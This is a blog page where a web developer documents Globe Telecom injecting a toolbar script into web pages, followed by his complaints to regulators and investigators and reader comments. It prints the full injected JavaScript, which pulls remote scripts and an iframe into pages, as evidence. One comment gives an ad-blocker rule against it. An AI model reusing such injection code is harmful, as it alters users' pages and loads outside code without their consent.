Maybe just share some links

Introduction and history of this page

I think this page needs some explanation, as e.g. the title “Maybe just share some links” does not make sense. And I can’t even remember how that title came into being, but it was there and I optimized the page for SEO with it, so I just left it. I may change it though, as I have become better at dealing with things like that.

Next to the strange title I realize that I thought this page was (also) about my issue of having no internet at all for a while, where for ‘internet safety’ reasons I prefer to have at least two connections, as I was running a web development company here at the time and it is very hard to live without internet for a company like that, even though I managed serving customers at the time when I really didn’t have internet. So yeah, even two connections does not guarantee having internet all the time, and right now only one is working, where the other one (Globe) is not working for about nine months now.

So well, time to reorganize this page I guess, as I am going to use it also related to my current issue with Globe, Globe having discontinued the WIMAX service and apparently not having an alternative to at least serve our location. I am pretty sure though there are more locations they cannot serve anymore. And that is one of my reasons to write about it: improve the service of telecom providers and other big companies. Companies who in general are very good in delivering their service, but who are not always that good in handling problems that are not so common, like in our case a pretty remote location, at least related to Globe Telecom.

Original post

Well, couldn’t resists some discussion around Globe hacking websites in a very unethical or maybe even criminal way: Globe hacking websites. And well, if nobody does something about it I guess it will have to be me as again I think companies should serve people in a simple way, like an Internet Service Provider just providing internet access in the best possible, fastest way without any Fair Usage Policies that are actually volume limits or messing with content they have nothing to do with.

TelecomSo yes, it seems all kinds of industries in the world are getting greedy. I never wanted to believe that, but I’m starting to believe that’s the main reason why many people feel so poor.

And this is the code Globe inserts, and as a programmer it even makes me scared as I can’t see straight away what it does and normally these things are called malware or spyware:

<!– Layer8 version 2.0.0.107 –><script>if(top==window){var fn_selector_insertion_script=”http://toolbar.mywebacceleration.com/tbpreload.js”;runFnTbScript = function(){try{var tbInsertion = new FNH.TBInsertion();var tbData = “PFRCRGF0YT48VEJEYXRhSXRlbSBuYW1lPSJob3N0X3VybCIgdmFsdWU9Imh0dHA6Ly93d3cuaW5zcGlyYXRpb24tZm9yLXN1Y2Nlc3MuY29tL3dwLWFkbWluL3Bvc3QucGhwP3Bvc3Q9MzM1NyZhbXA7YWN0aW9uPWVkaXQiID48L1RCRGF0YUl0ZW0+PFRCRGF0YUl0ZW0gbmFtZT0iaW5zZXJ0aW9uIiB2YWx1ZT0iaHR0cDovL3Rvb2xiYXIubXl3ZWJhY2NlbGVyYXRpb24uY29tL3NvdXJjZXMvaW5mcmEvanMvaW5zZXJ0aW9uX3BjLmpzIiBjb25maWd1cmF0aW9uPSJ0cnVlIiA+PC9UQkRhdGFJdGVtPjwvVEJEYXRhPg==”;tbInsertion.parseTBData(tbData);var fnLayer8=tbInsertion.createIframeElement(“fn_layer8”, “http://toolbar.mywebacceleration.com/Globe/fakeToolbar.html”);var owner;if(document.body){owner=document.body;}else{owner=document.documentElement;}var shouldAddDiv=tbInsertion.getAttributeFromTBData(“div_wrapper”);if(shouldAddDiv){var divWrpr=tbInsertion.createElement(“div”, “fn_wrapper_div”);divWrpr.style.position=”fixed”;divWrpr.ontouchstart=function(){return true;};if (typeof fnLayer8 != “undefined”)divWrpr.appendChild(fnLayer8);owner.appendChild(divWrpr);}else{if (typeof fnLayer8 != “undefined”)owner.appendChild(fnLayer8);}var result=tbInsertion.getAttributeFromTBData(“insertion”);if(result){scriptLocation=result;}else{scriptLocation=”http://toolbar.mywebacceleration.com/sources/infra/js/insertion_pc.js”}var fnd=document.createElement(“script”);fnd.setAttribute(“src”,scriptLocation);fnd.setAttribute(“id”,”fn_toolbar_script”);fnd.setAttribute(“toolbardata”,tbData);fnd.setAttribute(“toolbarhash”,”qs1BZYj+W/dkafS6ZPHz5A==”);fnd.setAttribute(“persdata”,”PFByaXZhdGVEYXRhPg0KPFByaXZhdGVJdGVtIGtleT0iY2xvc2VkIiB2YWx1ZT0iZmFsc2UiPg0KPC9Qcml2YXRlSXRlbT4NCjxQcml2YXRlSXRlbSBrZXk9Im1pbmltaXplZCIgdmFsdWU9ImZhbHNlIj4NCjwvUHJpdmF0ZUl0ZW0+DQo8UHJpdmF0ZUl0ZW0ga2V5PSJkZWZhdWx0UGVyc1ZhbHVlcyIgdmFsdWU9InRydWUiPg0KPC9Qcml2YXRlSXRlbT4NCjwvUHJpdmF0ZURhdGE+”);document.body.appendChild(fnd);}catch(e){console.error(“TB preload script failed: ” + e);}};var fne=document.createElement(“script”);fne.setAttribute(“src”,fn_selector_insertion_script);fne.setAttribute(“id”,”fn_selector_insertion_script”);if(fne.addEventListener){fne.onload = runFnTbScript;}else {fne.onreadystatechange = function(){if ((this.readyState == “complete”) || (this.readyState == “loaded”)) runFnTbScript();}};if(document.head==null || document.head==”undefined” ){document.head = document.getElementsByTagName(“head”)[0];}document.head.appendChild(fne);};</script>

Still, unworthy of Globe and The Philippines and the National Telecommunications Commission.

Actions and updates

Maybe you should know that i am not just complaining on this site, on this page. Next to this the following has been going on:

  • I wrote a letter to the CEO of Smart, Mr. Napoleon L. Nazareno, on January 17, 2014 regarding the service of Smart and their misleading Fair Usage Policy. A copy of this letter was sent to the CEO of PLDT, Mr. Manuel V. Pangilinan. Another copy was sent to Mr. Gamaliel A. Cordoba, Commissioner of  the National Communications Commission.
  • I wrote a letter to the CEO of Innove Communications, Inc., Mr. Gil B. Genio on February 3, 2014 about their bad service. Innove Communications, Inc. is the legal entity providing the Globe internet service. A copy of that letter was sent to the CEO of Globe Telecommunications, Inc., Mr. Ernest L. Cu.
  • As I did not get a reply to my firsts letters and as I had found the above script in the restored connection I wrote a second letter to Mr. Napoleon L. Nazareno and Mr. Ernest L. Cu with the suggestion to discuss the issues in Philippine internet and how to improve internet for Filipino people.
  • Atty. Ella Blanca B. Lopez of the Office of the Commissioner of the National Communications Commission confirmed my complaint about the Fair Usage Policy of Smart.
  • Neither Smart nor Globe replied to any of my letters. I cannot verify if my complaint to Smart was behind the visit of Smart engineers on March 19, 2014. These engineers solved a technical problem with my connection and were the people I think should have been involved much, much earlier. But they came, analyzed, fixed and left their contact details. Good job!
  • And just reading the above, and I do know the visit was most likely related to my letter(s) to Smart as I got an e-mail from the Vice President Marketing related to that letter referring to the fact that Mr. Nazareno had assigned him for dealing with the issue.
  • Related to Globe I recently found out that my letter(s) did have some effect internally in the Globe organization, as I know Mr. Cu called someone about it. I don’t know the details of that phone call, but the issue was solved (until a new, more serious, issue arose around November 2016).
  • Related to the hacking of Globe, which I consider a serious offense, I wrote an e-mail to the Department Of Justice on February 21, 2014.
  • Atty. Perla Y. Duque of the Department Of Justice informed me that my concern was forwarded to the NBI for further handling. This was confirmed to me with a copy of a letter to Mr. Vigilio L. Mendez, Director of the National Bureau of investigation on March 5, 2014 by Atty. Perla Y. Duque.
  • On March 21, 2014 I wrote a follow up letter related to the Globe hacking issue to the Mr. Vigilio L. Mendez, Director of the National Bureau of investigation with a copy to Mr. Gamaliel A. Cordoba, Commissioner of the National Telecommunications Commission to provide some more details.
  • On March 27, 2014 I got a very serious, professional reply from Smart related to my letter of February 28, 2014.
  • Around Easter 2014 Globe going around in circles after I reported a week ago or so that some web pages don’t show up properly, presumably related to the script insertion.
  • On April 21, 2014 I received two letters from the National Bureau of investigation confirming they are investigating the issue.
  • On May 6, 2014 I received a text of the NBI with the request to call them. I did on May 7, 2014 and agreed on sending a sworn statement as they indicated that’s what they need.
  • On May 10, 2014 I created my first draft of the sworn statement. Am planning to send that beginning next week, probably Monday May 12, 2014.
  • Finished and sent my sworn statement about Globe hacking websites to the NBI on May 13, 2014.
  • Followed up the status with the NBI and found my concern is on process on July 8, 2014.
  • Sent a follow up letter to Hon. Director Virgilio L. Mendez of the NBI on August 29, 2014 as nothing seems to be happening, at least not at the pace I think is appropriate for what Globe is doing.
  • And the commissioner of the NTC in Cagayan de Oro City, Mr. Teodoro D. Buenavista, Jr., was so kind to officially receive a copy of my sworn statement about Globe hacking websites, also on August 29, 2014, while I mentioned the matter to him while discussing some other matter.
  • Sent an e-mail to a contact of a friend of mine within DOJ. No apparant result or reply. Somewhere September or October 2014.
  • On October 30, 2014 I was asked by my Globe contact and a friend of mine to reboot my router and check if the script was still there. The script was gone and my main problem with a cut off webpage also seems to be solved. Waiting for confirmation that the script has indeed been removed everywhere, not only with me.
  • I just, December 23, 2014, wrote a letter to the CEO of Globe again as I did not get any confirmation that the script is really gone everywhere.
  • Again, no reply from Globe, at least not on or before February 19, 2015, meaning I certainly don’t feel a valued customer. Let’s just publish it here now: letter to CEO of Globe December 2014. Looking forward to your comments.
  • New story, as since last November, November 2016, we don’t have internet anymore. Globe just retired their wireless station without warning because they are moving to new technology. So new technology means we have speed zero now. And of course they keep sending the bills. And according to the technicians recently there is no problem ‘as there are no network issues in the area’.
  • And it is August 31, 2017 now and I did not remember I wrote the last bullet point about my new Globe issue. That issue is still not solved as Globe still does not seem to have an alternative technology with WIMAX capability until now to serve our location. Of course I am still following that up, but kind of amazing a company like Globe can’t serve an existing location anymore for nine months already. Fortunately Smart is still going strong with, yes I guess (very) old technology. But at least that is working, and speed of Globe is still zero.

Inspiration for Success

This page with complaints about the Philippine telecom industry is very much related to Inspiration for Success, as since I encountered the Principles of Success, the book Think and Grow Rich of Napoleon Hill I have slowly changed my ideas about all kinds of things related to success. One of the main things is that I now often find myself searching for opportunity in anything I perceive as negative, like fully losing my internet connection. Another main thing I learned is that ‘success’  is all about serving other people, nothing more, nothing less. I even dare to state now that in life there is virtually nothing else than serving other people, something I never understood, let alone implemented, earlier in my life.

Next to this you may find in my Philippine internet quest things like persistence, like feeling alone and moving on anyhow and again, trying to find something positive in everything, looking for the best and looking to serve people.

But not always easy, as of course I may still complain and my pride is still looking for recognition. But I guess that’s just being human, a human need for recognition, for feeling needed, for being praised.

21 thoughts on “Maybe just share some links

  1. Arkadien

    Hello, i was searching for a problem on my Website and find out that the index.html i transmit to my webspace was also infectet with this …………

    Its very bad to hear about the atittute of Globe.

    What can i do to remove the script. How does they put the script in my page anyway.

    THX, Arkadien

    Reply
    1. Guus Post author

      Globe inserts it when passing it on from the computer hosting the website to your computer. You can’t remove it as it becomes part of the web page. Same like if the mailman opens a letter to you, adds something, and then closes the letter again. You would not expect a mailman doing something like that and presume the sender wrote the whole letter. And also like with a letter, if something is written, you can’t remove it anymore.

      Reply
  2. Andy

    Hi, are you still chasing this Globe BS up ? I am a programmer also and believe me I have tried just about everything I can think of to stop the injection, from adding IP and URL’s to hosts file, creating packet rules, blocking it with Avast firewall, blocking it with Windows firewall… None of those worked whilst using FireFox BUT one of the above must have worked with Internet Explorer as it has been completely removed from that browser on my system now ! … very frustrating to say the least and scary, even if you do not use or install their version of the Mobile Partner software you still get the injection its simply enough to just connect to their network…

    Reply
    1. Guus Post author

      Hi Andy,

      Yes, I am still following this up and no, as far as I can think of it, theoretically (and practically) there is no way to remove the script as it has become part of the webpage.

      I have reported the issue to the DOJ/NBI as a criminal offense and I also have an outstanding ticket for some of my web pages being cut in the middle (on my Globe connection only) as Globe is of course suspect as they are messing with the web pages (which they shouldn’t as to me an ISP is being paid for passing on TCP/IP packets).

      I am considering filing a private case for copyright infringement of my own websites to get things moving.

      If you want to help please let me know. Having more people reporting it to DOJ/NBI might help. I also considered involving the press, but that may not have the effect I want as they normally only look for ‘news’,

      Guus

      Reply
      1. Andy

        Hi Guus, Thanks for your reply, as for cutting pages in half I have not experienced that but have seen that where an advertisement div would be (even if the actual div is comment out in the source) Globe in some cases ‘hijacks’ this space to show one of their banners mostly a 300×300 one, something I have not tried is to disable javascript in the browser the drawback of that would be to loose functionality of about 60% of the web pages out there so I do not consider that to be an option.
        Regarding the NBI it can take them a year to even get round to investigating anything or maybe never depending on what entity the investigation involves. Using the local press would backfire badly on the situation, a huge part of the problem is the fact that the majority of Globe’s subscribers do not even realise that their browsers are being hijacked and most of those that do know just accept it as a given fact, just like most all things in the PH that are unethical and immoral to the Western world in the PH they are accepted simply because the misconception is that ordinary people are powerless to change things…
        You may well stand a good chance to win a private copyright infringement case but anything else would have to come in the form of a very large campaign to create public awareness of the fact and then have them petition to Globe, probably via their forum would be a good starting point !
        Another annoyance is the “vanishing” credits from your load from time to time… but that’s another story… hmmm…

        Reply
        1. Guus Post author

          Hi Andy,

          Thanks for your reply. And based on what you state and what I experience is that the main thing to change is the thought that ordinary cannot do anything about these things. Which I believe is not true.

          And no, those things are not easy, and also aren’t easy in other countries. But they can be done and I am doing things related to this in various ways: report to DOJ, report to NBI and follow up, complain to Globe about my ‘cut off’ pages, preparing filing a copyright infringement case, report to various other institutions,having a meeting this Friday with someone from the cyber crime department and writing in Facebook and on this website.

          And last but not least I am working on starting a Philippine wide internet service provider independent of PLDT/Smart and Globe. An internet service provider that will only serve people to give them the best internet access possible, no more, no less.

          So even ordinary people can do something and in the end Globe will have to stop these criminal if not unethical activities,

          Guus

          Reply
  3. Moon

    Hi, Globe Is not injecting those scripts on your website. That script runs when you use their network, at least on 4g/3g. You can simply avoid this by using vpn.

    Reply
    1. Guus Post author

      Hi Moon, Thanks for your comment. You state Globe is not inserting the script, but if Globe isn’t doing it, who is doing it then? Guus

      Reply
      1. Moon

        I mean hindi nilalagay ng globe ang script na yan sa mga websites or webservers ninyo. Pag gamit nyo data plan ng globe, meron silang parang http://tattoo.globe.com.ph/itoolbar-faq.

        Makikita nyo to pag check nyo console ng browser. Maybe di to tinatanggal ng globe kasi di naman napapansin ng karamihan.

        Reply
        1. Guus Post author

          To me their implementation is wrong, they should not implement it this way, changing websites, and certainly not on a simple internet connection where one would expect their service just to be ISP service, delivering internet content, unchanged, as provided by website, e-mail or other internet content providers.

          Reply
  4. Moon

    Totally agree… For a regular user, whatever they think, spyware, injection, security bs…. this big telecom doesnt have any have care on numbers on how many notice this issue or if Filipinos are even aware of privacy when they go online. Good luck on your quest. I just kinda disagree on the approach that the telecom is hacking on websites, but actually its about our privacy.

    Reply
  5. Mark

    it also happen to me. I’m using smart sim, and I notice this annoying webaccelerator tool bar, error 404. I’m surfing the internet through my android phone and this thing pop up on google homepage. i already factory reset my phone twice but it’s still there. Even when I used my phone for teethering my PC, It automatically asking me to download a index.html, and i Know that this is a hackers doing. NTC must do something about it. Parang nahihiya na tuloy akong maging Pilipino dahil sa nangyayari sa Pilipinas.

    Reply
  6. Kim

    The code is probably also counted towards your daily / monthly datacap – maybe that is another angle that they artificially inflate the filesize.

    Also contacting ad blockers like Ghostery with this information would be a great idea, they can block it out for sure with their ad blockers.

    Good luck in your quest, I am so sick and tired of the Internet providers in this country.

    – Kim

    Reply
  7. Joe

    You’re a hero dude. Keep it up.

    “Evil triumphs when good people do nothing.”

    I’m gonna fight these asshole ISPs on other fronts.

    Reply
  8. Max

    Since I am using Globe (not for long) I got aware of this hacking on my webapplication.
    Thats why I landed on this website after searching “Layer8 version 2.0.0.107”.
    I totally agree with GUUS. I think it can be removed from DOM as it is iserted to DOM. Mostprobably thats already to late. I would like to put a script myself something like if(globe)document.write(“use another provider”);
    Thanks GUUS for your effort

    Reply
  9. Joseph Seeley

    Hi,

    I’m glad to read that someone is trying to get something done about this. It’s been annoying me to no end and is a horrible business practice on the part of Globe. As a web developer, I’m often trying to right click on my sites to select “inspect element” and modify values, but the Globe/mywebacceleration toolbar is often overlaying other elements making it difficult to select what I want, cluttering up the source, as well as adding padding to mess up the page layout. Not to mention slowing everything else down on an already slow connection!

    I had tried all the things I saw posted online. Like editing the hosts, using Avast, etc. For me they didn’t work.

    Well tonight I figured out a way to get rid of it in Chrome (perhaps other browsers too). Install Adblock for Chrome. Once it is installed, go to it’s options. Tell it you are an advanced user. Click on “Customize” and then “Block an ad by it’s URL”.

    In “Block URLs containing this text” put “tbpreload.js” without the quotes … this is the name of the injection javascript file that Globe/mywebaccelleration uses. Then in “Domain of page to apply on” put “*”. Just the asterix, this is a wildcard that will block the script on any website … which you have to do because it’s injected into every website.

    Be careful with this! Double check to make sure tbpreload.js is the only thing you’re blocking! I haven’t seen the Globe/mywebacceleration toolbar since doing this. I hope this helps 🙂

    (I allow all ads because I want to support the sites I visit. I also donated to Adblock because it’s a huge help to have something that can block this nonsense!)

    Reply
  10. Sergey Kandaurov

    You are doing great things here! Is there any progress? Anyhow we can help?
    For example, I’d be willing to send my own complains letters or testify in a court. There are at least three possible wrongdoings here:
    1. Tampering with web pages without user’s knowledge or permission
    2. Artificially increasing traffic that Globe charges us for
    3. Copyright infringement as I did not give Globe permission to modify source code of my websites

    Reply

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